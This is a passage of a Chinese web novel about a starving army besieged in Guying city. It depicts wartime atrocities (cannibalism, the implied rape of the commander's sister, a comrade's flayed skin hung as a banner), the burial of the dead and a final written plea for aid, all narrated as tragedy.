霍乾念浑身是伤,脏乱得犹如野人一般,撑着隐月剑才能站立,愣愣地看着同样满身伤痕、脸庞青白到毫无血色的云琛。
二人皆从阴曹地府走了一遭,几度以为此生就要阴阳永别。
此刻面对面站在一起,相顾无言,唯有落泪。
顾不得周围任何人,霍乾念与云琛紧紧拥抱在一起。
等二人分开的时候,才发现荣江和荣易两兄弟也抱在一起落泪,其他人也都三两相拥。
又熬过一场劫后余生,应当喝酒吃肉庆祝的。
可惜这十几天以来,所有粮草库都已吃空,干净的没有一粒米。
固英城内的粮食也都被买完吃完,只剩百姓家中养家糊口的一点粗粮,那是万万不能争抢的。
所有人这才知道荣易和狮威军为什么节节败退,竟被攻破防线,打退到固英城。
整整五天没有吃一点粮食,全靠野草和水充饥,将士们就那么饿着肚子上战场。
连走路和说话的力气都没了,更别说拿刀与吃人肉的强悍黑鳞骑兵拼杀。
狮威军的营地四周,飞禽走兽都被猎杀,草已全被吃光,将士们就差趴在地上啃土。
就连战马都饿得没有站立的力气,只能躺倒在地上哀鸣。
黑鳞骑兵没有急于进攻,而是牢牢守在城外,一副摆明要将狮威军耗死、耗到毫无作战能力的时候。
霍乾念想下令与离固英城最近的十几个霍帮堂口,想要凑些粮食上来,竟始终杳无回音。
这两年,霍乾念忙于军务,所有重心都在狮威军,对霍帮堂口疏于严管。
没有霍乾念威势坐镇,仅有叶峮打点远远不够。
一批以霍祥浩为首的霍氏族人,早已暗通曲款,意图自立门户。
如今,固英城被叛军和黑鳞骑兵四面包围,难以进出。
霍祥浩等人当即表示与霍乾念划清界限,要与霍帮一刀两断。
如此一来,狮威军孤立无援,粮草、武器和药物进不来,重伤员和求援的消息出不去。
狮威军面临着弹尽粮绝的灭顶之灾。
一开始,箭矢用完了就砍伐树木再造,粮食没有了就杀马吃。
到最后,那些有名有姓登记在册、战士们悉心照顾、日夜并肩作战的战马被杀了一大半,已到保留骑兵团可以继续用马作战的极限。
将士们饿极了,在原始的生存欲望之下,人已饿得失去理智和道德。
有人悄悄潜入百姓家中偷粮食,也有人偷偷将掩埋在雪下的战友尸体挖出来吃的。
最后甚至有人将目光放在了固英城为数不多的老百姓身上。
看着那咿呀学语的孩童,再也不觉得稀罕可爱,满脑子只有一个念头:
黑鳞骑兵可以吃人,我们为什么不行?
这种可怕的念头一旦生出来,蔓延开,后果将不堪设想。
狮威军将不再是保家卫国的优良之师,而沦落为和黑鳞骑兵一样的禽兽。
不,黑鳞骑兵吃的是敌军,是敌国百姓。
狮威军若对同胞下口,将比禽兽还不如。
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!没有任何犹豫,霍乾念下令将偷粮食、盗尸体的几个将士抓起来,按军规斩首处置,由霍乾念亲自行刑,人头就挂在军营前。
如此一来,军心暂时稳住。
只可惜暴力可以制止暴力,却永远止不住攻心。
一天夜里,固英城内外一片死寂时。
将士们躺在地上默默地吃雪块,没人有说话和走动的力气。
叛军和黑鳞骑兵却开始提前庆祝战胜,大声起鼓,大摆酒宴。
借着冬风,狮威军将士们可以清楚地闻见敌军营地传来的酒肉饭菜香味。
就在将士们饥肠辘辘,愈发灰心丧气时。
忽然,四周突然慢慢陷入安静。
远方传来幽怨的歌声。有人在唱:
“谁谓东兮广?一驹半行之。谁谓东昭远?跂予可望之。霜无久白日,月无乡明时。”
渐渐地,歌声越来越大,从四面八方响起,在冬夜雪地里显得格外悲凉,宛如哀魂丧曲。
好一个肝肠寸断的思乡曲......
对狮威军的将士们来说,楠国是祖籍故乡,可生活了几十年的昭国也是故乡啊......
到底为什么要千里迢迢来这里打仗?
一种悲哀、怀疑、丧气又思乡的情绪在营地间悄悄流转。
“我想回家……”
“我想我娘了……想吃娘包的饺子……”
说话的将士哭出了声。
若换作从前,定要挨一顿嘲笑和训斥。
可现在没人有力气制止。
很快,哭声此起彼伏,接连成片。
这仗好像也没必要打了,空气中已弥漫着此战必败的颓废气息。
霍乾念和云琛站在固英城门下,静静地听着四面哀歌,也听着将士们思乡的哭泣声。
这一次,已不是杀戮就可以解决。
云琛眼眶湿润,仰头望着固英城的石刻牌匾,嘴里喃喃念道:
“不是‘固’,是‘困’......阿念,这原本叫‘困英城’啊......”
霍乾念抬头望去,果然牌匾之上有被覆盖的旧痕,隐约能看出一个陈旧的“困”字。
困英城。
这城好像真的困住了许多英魂,一困就是一生,只能望着再也回不去的故乡,见不到的亲人,永永远远地困在这永战无尽之地。
作为主将,霍乾念何尝不知已到了绝境,军心已乱,此战定然无望。
“琛儿,你想念幽州吗?”霍乾念问。
想了想,云琛道:“我更想烟城......那里美好的记忆很多......”
霍乾念沉默了,他又何尝不是。
他有预感,今夜已悲歌攻心,明日,黑鳞骑兵就要攻城了。
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第318章 往前走
腊月初一,天气进入一年中最寒冷的时候。
狮威军的将士们列满城墙,一个个面黄肌瘦,饿得头晕眼花,站都站不稳。
就连仅剩的战马也饿得肋骨突出,看着如同骷髅一般。
与之形成鲜明对比的,是固英城下红光满面、志在必得的黑鳞骑兵,兵强马壮,人更嚣张。
一个月的粮草断绝下来,再加上昨夜的四面悲歌,焦左泰自信已将狮威军的意志彻底击溃,不禁有些得意。
因此,他没有着急发起进攻,而是派出一人战前叫阵,对着狮威军们唾沫横飞,辱骂不休。
什么缩头乌龟孬种货,狗娘养的畜生爹,各种脏话如泼粪一般朝狮威军泼去,迎来的却只有沉默。
狮威军全军鸦雀无声,目光恨恨地瞪着黑鳞骑兵,却无一人有力气开口对骂。
城门最高中央处,霍乾念和云琛长身稳立,他神情平静又威严,没有一丝波动。
直到一个披头散发的身影出现在城门下,霍乾念的神情才终于有了剧烈的变化。
云琛扑向城墙沿,拳头攥得咯咯直响,从牙缝里挤出两个颤抖的字:
“阾玉......”
那叫骂不休的黑鳞骑兵似乎骂上头了,骂到激动处,直接拽着霍阾玉的头发,将她拖出来,对着狮威军又是一顿羞辱。
“喂——狮威军,啊不,是龟缩军的孬种们,瞧瞧,将军的妹子就是嫩啊,能掐出水来!我们一人一遍不嫌够,只恨一天怎么只有十二个时辰,一个月才爽了几百个兄弟!喂,你们还有没有妹妹了?送来给我们玩玩!我们就不打你们了呗?或者一个女人换一车馒头,怎么样?哈哈哈哈哈——”
在那黑鳞骑兵丧心病狂的辱骂和狂笑中,霍阾玉被扯着头发拉起,推搡到所有狮威军面前展示。
她穿着极不合身的男子外袍,里面空空荡荡,什么也没穿,一双伤痕累累满是血污的小腿露在外面,赤脚通红踩在雪面上,冻得瑟瑟发抖。
她头发凌乱,将一张比雪还要惨白的脸裹在其中,深深低着头,不敢去看任何一个人。
什么也不必说,是个人都能猜到在这个无辜的姑娘身上发生了什么。
霍阾玉神情呆滞地站在黑鳞骑兵阵前,没有人捆缚着她,她却根本不逃,只像一截枯木似的,呆呆地杵在原地。
那叫阵的骑兵一边伸出长枪,故意将枪头在霍阾玉大腿间来回拨弄,不断挑起她的外袍叫狮威军看;
一边大声说着些污言秽语,说什么霍阾玉比他们的军妓要香要软,比那勾栏瓦舍里的女人紧多了。
霍阾玉被推得东倒西歪,不停地用手去按住衣角,企图遮住赤裸的身体。
这一幕彻底点燃了所有狮威军的怒火。
原本饥肠辘辘、已饿到近乎极限的汉子们,不知从哪里突然生出勇气,死死握紧了手中的战刀,开始发出切齿的咒骂。
眼见羞辱不成,反而激起了狮威军的斗志,焦左泰感觉不妙,赶紧命那叫阵的黑鳞骑兵退下,将霍阾玉一并带走。
他甚至犹豫要不要先撤退,再多耗上两天。
因为他深知,当身体被逼到极限时,人的意志将爆发多么可怕的杀力。他不想挑起狮威军任何一点战斗欲。
可惜为时已晚,只见城门之上,云琛怒目圆睁,缓缓抬起弓箭,锋利的箭尖已对准那叫阵的黑鳞骑兵。
利箭带着喷薄怒意迸射而出,一箭扎在霍阾玉与那黑鳞骑兵中间,惊得那黑鳞骑兵猛地缩回手,不敢再拖拽霍阾玉。
愣了一下,那叫阵的黑鳞骑兵再次朝霍阾玉伸出魔爪,第二只箭却又呼啸着飞来,一箭贯穿那骑兵座下的黑甲战马。
箭贯双眼,黑甲战马重重倒地,激起一阵雪土暴起,那骑兵也摔了个狼狈的四脚朝天。
霍阾玉还是僵滞地站在原地,两眼空洞又无神。
云琛瞪着发红的眼眶,再次拉弓飞箭,准准地扎向霍阾玉身后,大喊:
“阾玉!走!!”
听见云琛的声音,霍阾玉终于动了动,她转头看向身后数不清的黑鳞骑兵,开始止不住地浑身发抖。
“霍阾玉!别怕!走!!”云琛再次高声大喝,一箭又一箭凌厉射出,扎在霍阾玉身后的地上,逼得最前一排的黑鳞骑兵退了又退。
“霍阾玉!往前走!”
这次高声大喊的不是云琛,声音从愤怒的狮威军将士们中传来,不知道是谁。
接着,第二个声音从将士中传来,依旧大喊:
“霍阾玉!往前走!”
紧跟着,无数将士们的声音汇集成山呼海啸,他们用力击打着手中武器,发出震天动地的撞击声,用尽全力愤怒高喝:
“霍阾玉!往前走!”
“霍阾玉!往前走!”
“霍阾玉!往前走!”
那声如山崩,怒如龙啸,听得人头皮发麻,更惊得城下的黑甲战马扬蹄嘶鸣,引起黑鳞骑兵们一阵骚乱。
霍阾玉终于清醒过来,眼泪缓缓落下。
她迈开双腿,跌跌撞撞又无比坚定地奔向城门的方向。
城门之上,霍乾念拉弓抬箭,对准那叫阵的黑鳞骑兵的脑袋,声音威武凛然,更充满悲怆决绝:
“吾辈血战!为国亦为家!今日我等不死,他日妻妹沦为娼!今日我等不战,他日儿女煨敌之汤!全军听令!战——”
虽着霍乾念一声令下,一箭射穿那叫阵骑兵的脑袋,霍阾玉的身后,黑鳞骑兵开始呐喊冲锋,如兽群倾巢出动。
霍阾玉不敢回头,只不顾一切地全力奔跑。
她的身前是缓缓打开的城门
——是无数视死如归的狮威军。
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第319章 兄弟,我带你回家
如果有人从天空俯视,便可以清晰地看见,白雪皑皑的大地上,正不断开出一朵朵血红色的花。
孤城染血,烽火连天。
杀喊声震耳欲聋,箭发如霹雳弦惊。
大地很快被染得通红一片,几乎看不出白雪的颜色。
战到最后,已没有布阵与打法,饥饿疲惫的狮威军将士们,要么用最后的力气死战,要么放弃抵抗,用身体牢牢抵住城门。
一个个前赴后继地扑上去,一摞摞被黑鳞骑兵切豆腐一般砍杀死,后边的人又再次义无反顾地填上。
就这么用血肉之躯死死抵抗,不叫任何一个黑鳞骑兵攻破城门。
混战之中,云琛带领叶峮、不言、荣易与三千骑兵悄悄绕出固英城。
在极力不引起任何黑鳞骑兵的注意下,一行人没命地向敌方营地狂奔而去。
在被黑鳞骑兵发现以前,云琛有一个时辰的时间去完成两件事。
一则抢粮草,二则救花绝。
也许连一个时辰都没有,若被营地留守的黑鳞骑兵发现,或者被焦左泰回防击杀,三千人将面临直接被黑鳞骑兵“包杀”的必死下场。
因此,云琛这次带出来的将士,全是签过生死状的三千死士。
三千人直奔黑鳞骑兵大营,云琛与一千死士在前冲锋,将黑鳞骑兵营地的留守兵力吸引而去;
另外两千人马冲杀进粮草库,一边与看守粮草的重兵交战,一边拼命抢夺粮食,往马背上捆。
所有将士都默契地避开一排排吊着的风干人体四肢,只抢大米、面和土豆等。
只要每人抢够六麻袋,就足够狮威军再清汤寡水地支撑几日。
将士们深感责任之重,拼尽全力抢夺,甚至完全顾不上去抵挡黑鳞骑兵的砍杀。
只可惜,将士们捆粮食的速度,远远赶不上被黑鳞骑兵砍倒的速度。
按照事先计划,粮食为首要目的,任何人只要装够数量,必得立刻折返回固英城,不得恋战,不得互相帮扶。
这样能走一个是一个,能抢多少是多少。
因此,即使身边的战友一个个倒了下去,剩下的将士也只能咬着牙,继续疯狂快速地抢粮袋。
然而黑鳞骑兵很快发现了狮威军将士们的抢夺策略,转而将砍杀的目标对准马匹。
一旦有将士抢够粮食要撤,立刻就会有两个黑鳞骑兵冲上来,直接斩掉马头。
看着粮食散落一地,想着固英城里还在死战的战友们,一个狮威军将士眼神发狠,心一横,“啊——”一声大吼,又将两袋粮食扛起来,扔在马鞍上。
随后一刀扎在已驮满粮食的马儿屁股上。
马儿嘶鸣狂奔而去,那将士则迎着黑鳞骑兵的刀尖,无畏决然地扑上去。
紧接着,第二个将士也有样学样……
第三个,第四个……
眼见马儿们驮着粮食跑远,将士们一个个倒下,云琛心痛震惊,急命荣易带剩下的将士们撤退。
她则与叶峮和不言一起,以最快的速度开始在黑鳞骑兵营地搜索。
三人一边与营地留守敌军交战追逐,一边不停大喊花绝的名字,却始终得不到回音。
眼见越来越多的黑鳞骑兵围追过来,叶峮知道不能恋战,纵使不忍兄弟继续被俘受苦,但还是对云琛道:
“阿琛!敌人越来越多了!再不走就走不掉了!”
“我知道!”云琛回应一声,却更加用力地驾马,将鞭子抽得啪啪作响,更加急速地狂奔搜寻。
很快,黑鳞骑兵们团团围上来,眼见就要形成包围圈,云琛又急又恨,只能气愤地大喝一声,与叶峮和不言急急撤退。
叶峮在最前面开路,不言在中间且战且行,云琛则落在队伍最后面。
她频频回头,试图再找一找花绝的身影。
她总觉得花绝在一个被他们忽略的地方,苦苦等着他们,她不想花绝再困在这里受罪。
三人开始往固英城方向而去。
忽然,云琛目光注意到营地最前面。
那里是用几根木头搭建起来的临时营门。
但凡军队驻扎,一定会设一个简易的正门。
这“门”没什么用处,将士们开拔和回营,都不会刻意经过“门”。
但若没有“门”,又总感觉差了规矩。
眼下云琛三人已搜索过营地大部分,那“门”是唯一没有搜索过的地方。
焦左泰若想侮辱花绝,那将花绝捆绑在人来人往的正门最合适。
云琛将想法快速和叶峮、不言一说,三人都觉得有希望。
不言大喊一声“我去引开他们!”随即与叶峮迎着追杀而来的黑鳞骑兵冲过去。
云琛则迅速掉转马头,带着最后一点希望,朝大门奔去。
远远的,她看见大门口空无一人,没有花绝,什么都没有。
只有一把样式奇怪的旗子插在营门上。
她不甘地望了营门一眼,赶紧勒马撤退,却用余光捕捉到一丝可怕的异样。
她缓缓放开紧拉缰绳的手,水中龙也极通人性地慢慢停下脚步。
这章没有结束,请点击下一页继续阅读!她全然忘记此刻处在什么紧迫危险的境地,从马上跌下来,踉踉跄跄爬起身,四肢发软地朝那“旗子”走去。
短短几步的距离,却是她这一生走过最长的路。
站定在“旗子”下,她双腿一软,轰然跪倒在地。
她瞪着绝望通红的双眼,仰头望着半截断裂的饮血剑。
剑的一端插在木桩上,另一端撑着一张已经发干发硬的人皮,依稀可以看出眉毛、耳朵的样子。
人皮旗子的顶端,枯草似的头发随风飘动,一根樱桃色的剑穗将人皮牢牢捆在剑刃上。
那是花绝睡觉都不离身的剑穗。
从来舍不得给任何人碰一下的剑穗。
他说过,蕊娘编织的剑穗,一定会护他平安的……
似乎不敢、也不愿相信这就是花绝,她用几乎从嗓子眼里挤出来的声音,颤抖着、试探着,叫了一声:
“花绝?”
回应她的只有人皮旗帜在风中颤抖的簌簌声。
这时,一个黑鳞骑兵发现落单的云琛,悄悄挥刀砍来。
云琛浑然不觉,仍旧直愣愣地跪在原地,一动也不动,像个死人一样。
砍刀划破半空,发出索命的尖啸。
就在刀刃即将挨到云琛的瞬间,平地烈风忽起,吹动人皮旗子发出“啪”的一声巨响。
紧接着,旗帜翻滚倒下,朝那黑鳞骑兵凶猛扑去,断裂的剑刃竟直直插进那黑鳞骑兵的咽喉,鲜血喷溅了云琛一脸。
仿佛听见一声熟悉的、傲慢又孩子气的“切”,她下意识朝那人皮张开怀抱。
拥抱住那轻得几乎羽毛一样,却又比大山还要沉重的重量,她终于惊醒落泪,喃喃道:
“兄弟,我带你回家。”
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第320章 惨胜
三千死士而去,八百英雄而归。
另外还有九百零二匹战马,驮着比原计划多了两袋的粮食,独自识途回城。
看着那几乎被血浸透的粮袋,所有人都知道,这战马的主人,永远不会回来了。
在黑鳞骑兵营地守军的追杀围攻下,去掉一路奔波途中的丢失折损,最终抢回的粮食,只有寥寥几千袋。
对于十几万将士来说,还不够一顿塞牙缝的。
军厨们将粮食从马背上卸下来,将那被血浸透的大米倒进锅里,哭着倾倒掉血红的淘米水。
他们将大米和土豆混在一起,放上满满一大锅水,再掺些观音土,熬煮片刻后,仍旧是一锅清亮惨淡的汤,分到每个将士碗里,连一粒米都见不到。
饶是这样,将士们还是用刚刚战罢、累得不住发抖的手,小心翼翼地捧住碗,狼吞虎咽地喝下去。
喝完,将士们呆呆地看着手里的空碗,低声哭起来。
这全是战友用命换回来的粮食啊……
这喝的仿佛不是水粥,而是至亲战友的血……
就这样,在这场令人闻之落泪的惨胜下,固英城守住了。
霍阾玉被救,花绝……也回来了……
城门口是狮威军将士堆积如山的尸体,像一座牢不可破的屏障,牢牢扞卫着固英城。
黑鳞骑兵暂时被击退,却有欲与三面叛军联合进攻,将狮威军再耗些时日、而后一举歼灭的架势。
固英城孤立无援,所有人都知道,死亡已近在眼前。
医药院的小小后院,现下成了临时的主帅指挥所。
云琛坐在台阶上,手里握着已剩半截的饮血剑。
那是江鸣留给她唯一的东西,曾无数次带她杀出重围,宛如守护神一般。
江鸣总是教她,莫怯,怯得很,死得快。
她很想告诉师父:
对不起,师父,我现在真的好害怕……
无边无际的恐惧宛如恶浪,将她卷进深海,不论怎么努力,都游不到水面。
她感到窒息的绝望。
不是怕死,而是怕所有人都要死了。
她望向院子中央那木质粗糙的棺材,那是叶峮费了很大功夫才从一户百姓家买来的。
此时此刻,里面放着她的好兄弟花绝。
那么简陋、粗制滥造、甚至散发着些许霉味的棺材,放着最爱干净和体面的花绝。
薄薄一层,从后背张着巨大的口子,让人连看都不敢看一眼,没有勇气去想象那剥落时的痛苦。
“阿琛,吃点东西吧。”叶峮的声音在身后轻轻响起,唤回云琛的意识。
她动作僵硬地起身,走进屋子,坐到破旧的小方桌前。
叶峮、不言、荣江和荣易,所有人都围坐着,对着桌上小小一罐淡白色的米汤,没人伸手去盛。
最后,叶峮吸了吸囔囔的鼻子,舀出带着米粒的汤,一一分给众人。
不言捧着碗喝起来。
喝着喝着,他整个人开始颤抖,发出一声高过一声的痛哭。
他将碗摔下,直直仰倒在地上,撕心裂肺地放声大哭起来。
伴着不言爆发的哭声,里屋传来毛笔落地的声响。
叶峮抬眼望去,泪眼模糊之中,只能看见霍乾念高大的身影投射在窗纸上,佝偻又悲伤。
霍乾念重新捡起毛笔,却直愣愣地盯着信纸,再也写不出一个字。
思绪飘到很远的地方。他想起初见时,霍家祠堂后院里,一个小小的人儿蹲在井底哭。
他听得心烦,甩下一根绳索,叫那小人儿自己爬上来。
没成想,那么幽深的井,那小人儿竟真的一步一步爬了上来。
对着这个八竿子都打不着的远方堂弟,瞧那一脸黑灰带鼻涕的脸,霍乾念故意逗他:
“‘霍宸’?你别姓‘霍’了,我丢不起这个人。”
谁知这傻小子竟当真了,直接抛弃锦衣玉食的日子不要,一连七八年日夜不停习武,只为了站在他面前,骄傲地说:
“少主,我是你的亲卫‘花绝’,我会用我的生命保护你,直至我死亡的那一天。”
如今,一语成谶,他真的做到了。
他曾千万次地救霍乾念于水火,终将年轻的生命永远留在了固英城。
霍乾念想替他骄傲来着,将他光荣的事迹扬名立万来着,可又忍不住想:
他死了,那他心爱的蕊娘怎么办呢?霍帮库房里,霍乾念早就为他置办下的成婚贺礼又该怎么办呢?他那么臭屁又爱干净,该上哪里给他找一套崭新的霍帮亲卫服制,好给他最后一丝体面呢?
想着想着,鼻头一酸,眼泪夺眶而出。
霍乾念手撑着书桌,肩膀微微颤动,泪水“吧嗒吧嗒”落下,浸湿了整张信纸。
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第321章 天下无太平
花绝的死,让众人陷入巨大的悲伤,吃不下,喝不下,也睡不着。
只有一个人例外。
霍阾玉每天晨起都将自己收拾得干干净净,不论这餐是白水还是米汤,她一日三顿,一顿不落。
夜里她准时熄灯入睡,白天她则安静地坐在角落里做绣活儿,既不哭,也不与人说话。
经历这般非人痛苦的折磨,她却不哭不闹。
既没有死的颓丧,也没有生的活泼,好像处在一种介于两者之间的……虚无。
这种反常让众人愈发担心,一群大男人没法上前安慰,只能尽可能少地出现在霍阾玉眼前。
霍乾念安排了四个将士日夜轮班守着霍阾玉,生怕她寻短见,云琛却说不用,“叫他们都撤了吧。阾玉不会的。”
霍乾念坚决摇头,霍阾玉不能再出任何意外了,有人看着总比没人看好。
可云琛却不忍皱眉,低声对他说:
“撤了吧……阾玉听不得铠甲的声音……”
被折磨着的一个月里,日日夜夜趴在那张冰冷的桌子上昏死又醒来,醒来又昏死。
她看不到那些黑鳞骑兵的脸,只能听见背后传来的声音。
每次都是同样的:
铠甲与军靴走路摩擦的声音;
解开铁锁搭扣的声音;
沉重的铠甲落地碰撞;
接着便是解开腰带,剧痛钻心……
所以每当看守的四个将士走动时,只要一听到那铠甲的声音,尤其当声音出现在背后时,霍阾玉脸色都会瞬间惨白。
云琛注意到这点,每次去看望霍阾玉之前,她都会提前进屋子,不厌其烦地将铠甲脱掉,走时再穿上。
于是,看守的将士全被撤下。云琛穿着单薄的常服,走到霍阾玉身边,将桌子上每日都熬煮的一大罐避子汤拿开。
“已经喝了六天了,别喝了。药性寒凉,喝多了会伤身。”
霍阾玉头也不抬,拿着一块普通的黑布、最平凡的丝线,专注地绣着醒狮图案。
“好。我不喝了。”
她语气平静,没有任何情绪。
见云琛垂着头不说话,霍阾玉甚至还反过来安慰起云琛:
“没事的,作为霍家儿女,享了该享的福,就得受该受的苦。”
只是没想过,这苦,竟然那么苦。
霍阾玉毕生所有力气,大概都用在奔向城门的那一刻了吧。
只可惜越过寒峰,还有另一座寒峰。
从前,人们说霍帮二小姐人美心善,哥哥在前线打仗,妹妹在后方救死扶伤。
今后,只怕人们只会记得一个失去贞操却还觍着脸苟活世上的女子。
看着霍阾玉这太平无事的样子,像一个破碎的瓷娃娃被强行粘起来体面见人,云琛难受得直流眼泪。
“为什么这世道……对女子这么残忍……”
霍阾玉停下手中绣活,愣愣地望向阴云欲雪的天空。
她们都不懂。
生来是女子,似乎就注定这一生都由不得自己。
男子练就一身好本事,去这大千世界闯荡一番,尝人间百味。
女子则在森严礼教的盯视下,一举一动都被约束,每一步都踩在定死的脚印上,只为通往一条嫁为人妻妾的新的奴役之路。
闺房那高高一道门槛,明明只是木头而已,却比任何铜墙铁壁都牢不可破。
难道女子生来只是为了嫁人的?
所以女性的灾祸总是与奸淫捆绑,一个男人若统治一个女人,第一目的、最大目的就是夺取她的贞操吗?
这是控制?占有?欲望?
还是这由女子裙下生出的世界,竟从骨子里轻视女子?
那么,云琛已尝试过做一个男人了。
女扮男装这么多年,有时就连自己都忘了女儿身。
若无祖上封荫,纵使才绝千古,有滔天的本事,也只能与蝇营狗苟之辈为伍。
打碎牙也要低头往肚里咽,抬头还要露出个足够诚心恭敬的笑容。
一个男人若想闯荡出个名堂,总有无数双手想将他往回拉,恨不得踩在脚底下才好。
往下是泥沼冤魂,往上是杀人不见血的金窟。
可若放弃,又无颜面对那高高门槛之后、羡慕地望着这纷繁世界的眼睛。
这世间的寒锋利箭总是狠狠穿过男人们的身体,扎在女人们鲜血淋漓的裙摆上。
地狱十八层,人间第十九。
……
……
花绝死后的第七天,天空阴沉如盖,暴风将来。
众人将花绝葬在城南最高的一处山坡。
在黄土盖上棺材之前,霍阾玉总算用最简陋的粗布和丝线,勉强缝制出一套霍帮亲卫服。
花绝盖着黑色的服制,空空的,瘪瘪的。
云琛总在想,那时,偷袭她的黑鳞骑兵准准地被断剑插死,一定是花绝吧。
是不是他用最后的灵魂和力气,救了她一命呢?
荀戓,小六,是不是也和花绝一样,化作了看不见的保护神,一直守候在她的身边呢?
不知是谁发出一声悲伤的叹息,所有人立马眼眶一酸,眼泪就流了下来。
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!长风呼啸而过,吹来凛冽又带着腥味的寒气。
叶峮揽住不言,拽拽云琛的袖子,“走吧。”
不言站在山坡眺望,整个固英城都已进入决战备战。
将士们拖沓着疲惫又饥饿的脚步,来往穿梭,做着最后的准备。
从黑鳞骑兵营地抢回来的那点粮食,一顿都不够,但整个狮威军硬生生又坚持了七日。
与叛军和黑鳞骑兵的战斗已近在眼前,不言觉得,也许不用太悲伤,他很快就会去陪花绝了。
他说:“我光棍一个,死了也不可惜,等打起来的时候我冲在前头,别抢。”
叶峮摇头,“我已经成家立业,儿女双全,留了后代。你小子什么都还没尝过呢,死什么死?阿琛失了最趁手的饮血剑,也站后面吧。我冲锋。”
不言不肯:“你若有个三长两短,我们怎么和嫂子、俩孩子交代?”
家人永远是软肋,叶峮不反驳了,“他们现在应该到烟城了。你嫂子犟得很,非要来看我,没想到我们被叛军困住,他们肯定进不来。不来也好,这里不太平。”
不言目光灰暗,“现在还有哪里是太平的呢?”
京都战过,北方北伐,东南和中部现已几乎全部沦陷,只剩固英城在垂死挣扎,西边和南边又离混战的东西炎极近。
天下之大,竟无太平容身之地。
“好啦!别想这些丧气的!”叶峮拍拍不言的肩膀,“走,我们挑身最厚的铠甲穿去!”
不论到怎样糟糕的境地,什么落魄局面,叶峮永远都是站出来帮所有人收拾局面、整理心情的那个。
他刚说完话,才令不言和云琛打起点精神来,就听一旁荣江和荣易商量道:
“我冲锋吧,你给荣家留个后。”
“还是我吧,我是你哥,比你多活两年,够本了。”
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第322章 比肩神明
这将是最难熬的一个寒冬。
北伐大败,东宫失踪,中部沦陷。
只剩东南部的狮威军被中部叛军与东南方向的黑鳞骑兵夹击,包围在固英城。
他们粮草绝尽,与外界失去一切联系,仿佛无尽冷海中的一块小小浮木,被孤零零地圈困着,做着最后的殊死抵抗。
敌军死死包围,铁了心要将狮威军困死在这片荒芜死寂的凄凉之地,像是等着看楠国最后的曙光熄灭。
然而寒冷,疾病,饥饿……比战争更快,夺走将士们的生命。
已快到腊月最冷的时候,物资、粮食、药材......通通断绝。
固英城的老百姓们已竭尽所能,家家户户捐出粮食、冬衣。
可扔进十几万人里,微弱得连个响声都听不见。
城四周,能吃的树皮、草根、黄土块……全被吃完,树木全被砍光取暖。
狮威军的将士们,绝大部分仍穿着夏天的作战衣,薄薄的铠甲被冻得脆生生,像纸皮一样薄。
冷风不停地灌进衣领和袖子,冻得四肢僵硬刺痛,手指失去知觉无法弯曲,几乎握不住战刀。
夜里,饥肠辘辘的将士们啃着雪块,三两蜷缩在一起,冻得铠甲瑟瑟发抖,磕碰发出窸窸窣窣的声响;
天明,三两冰冻在一起的大团“尸块”被抬走,沉默又麻木地,深深埋进冻土。
每一个黑夜都是一场无声的战役,带走许多年轻的生命。
至于病伤员,早已在无药可医的境地下绝望死去。
没人知道还能撑多久,还要撑多久。
只知道当最寒冷的暴风过去,黑鳞骑兵就要来取“人肉军粮”了。
这一次,已没有什么能够令饥寒交迫的将士们鼓起勇气。
所有人都将最后一点希望放在神力上,他们日夜祈祷,祈求上苍救他们这一回。
在无数哽咽的祈祷声中,暴风终于在黑夜来临。
霍乾念背着一个硕大却轻飘飘的包裹,拉着云琛的手,爬上城南的山坡。
狂风怒号,吹得二人像小草一样摇摇摆摆,每前进一步都很艰难。
耳边是凄厉的风啸声,白茫茫的雪粒子被卷起来打在脸上,扎得人生疼。
云琛被雪里一块石头绊倒,膝盖狠狠捣在地上。
她下意识想要痛呼一声,张口却被灌进冰冷的寒风,差点呼吸不上来。
霍乾念弯下高大却已瘦得干柴一样的身子,拍拍肩膀,示意她趴上来。
狂风让两个人无法张口说话。
罕见地,云琛没有强撑,顺从地趴到他背上,用瘦得像藤蔓一样细弱的胳膊,圈住他的脖子。
不知是不是风太大的缘故,当他站起身的那一刻,竟没太感觉到她的重量。
他知道,他的琛儿也快到极限了。
咬咬牙,他尽力控制住腿不抖,慢慢朝山顶而去。
一步一顿,两个冰凉又枯瘦的身体紧紧挨在一起,一次次被暴风击得后退,却又一次次穿过猛烈的风团,坚定地攀上山顶。
她从他的背上慢慢下来,将一盏微弱的风灯挂在花绝的坟前。
两人先是在花绝墓前站了一会儿,而后绕到坟堆后面风势较小的地方。
他将她搂进怀里,解开铠甲,张到最大,为她挡住风。
她怕他冻着,赶紧伸手去扑他的铠甲,却一把落空,直直扑进他怀里,被他捉住双手。
借着风灯微弱的光线,她瞧见他脸色苍白,两颊已瘦得深深凹陷,唯有那双凤眸还有星辉,带着温柔笑意,看着她的眼睛。
“饿坏了吧?”他用口型说了这么一句,而后小心翼翼地从怀里掏出一把炒米,放在她的掌心。
她惊喜地睁大眼睛。
说是一小把,不过是一眼就能数清楚的十几粒。
但对于眼下来说,已是无比珍贵。
她快速捏起四五粒放进嘴里,想要细细品尝味道,可脸颊和嘴唇都已被冬风吹得麻木,尝不出任何。
她又捏起几粒米,放进他的口中。
他吃下去,顺势吻住她的手,深深地吸气,吐气,看起来疲惫至极,似乎唯有这样才能获得些许力量,让他继续支撑下去。
作为狮威军的主将,楠国最后战胜的希望,他比任何人都焦急痛苦。
但他绝不能表露。
站在衣衫单薄、饿得腰都直不起来的将士们面前,看着越来越少的人数,他镇定自若,稳如泰山,牢牢支撑着全军最后的信念。
背过身去,他却几度潸然泪下,哽咽到不能自语。
他日复一日地窝在书房里,不知在写些什么。
如今,云琛终于知道了。
霍乾念活动下肿胀发酸的手腕,打开那又大又轻飘的包裹,里面密密麻麻,全是他的亲笔信。
其中一封像是沾染了水渍,看起来皱巴巴的。
她惊讶地翻看,所有信封上都写着“伏乞苍生”四个大字。
信中,他悲述狮威军如今四面受敌、弹尽粮绝、濒临覆灭的处境。
字字悲哀,句句泣血,他请求拾到此信的人前来援助,哪怕带一个馒头、一根树枝来援,狮威军都将感激涕零……
本小章还未完,请点击下一页继续阅读后面精彩内容!尽管霍乾念就站在自己面前,可看着那满篇悲怆绝望的祈求,云琛还是觉得心中酸楚不已。
她第一次知道,原来轻飘飘的文字竟也可以这么有力量。
“比起相信神明,我更相信这。”他对着她的耳朵说完,而后扬起手臂,将一大把信洒向空中。
暴风飞快地将信函纷纷卷起,狂奔向黑暗的远方。
